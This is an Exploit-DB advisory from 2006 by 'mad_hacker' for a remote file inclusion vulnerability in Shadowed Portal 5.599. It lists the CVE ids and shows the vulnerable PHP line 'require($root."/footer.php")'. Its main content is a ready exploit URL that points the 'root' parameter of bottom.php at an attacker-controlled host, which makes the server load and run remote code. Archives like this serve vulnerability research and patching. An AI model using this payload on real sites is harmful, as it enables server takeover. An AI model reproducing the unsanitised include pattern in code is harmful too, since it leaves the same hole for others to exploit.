Shadowed Portal 5.599 - 'root' Remote File Inclusion

Author: mad_hacker
type: webapps
platform: php
port: 
date_added: 2006-09-12 
date_updated: 2016-09-09 
verified: 1 
codes: OSVDB-28837;CVE-2006-4885;OSVDB-28836;CVE-2006-4826;OSVDB-28835 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comshadowed-portal-5.599-prerelease.tar.gz

====================== C Y B E R - W A R R I O R  T I M
======================

+Shadowed Portal 5.599 (root) Remote File Include Vulnerability

==============================================================================

+Author: mad_hacker (turkish hacker)

==============================================================================

+Class: Remote

==============================================================================

+Vuln Code: require($root."/footer.php");

==============================================================================,

+Exploit:
http://www.site.com/[script_path]/bottom.php?root=http://evil_scripts?

==============================================================================

+Thanx: xoron, Leak

====================== C Y B E R - W A R R I O R  T I M
======================

# milw0rm.com [2006-09-13]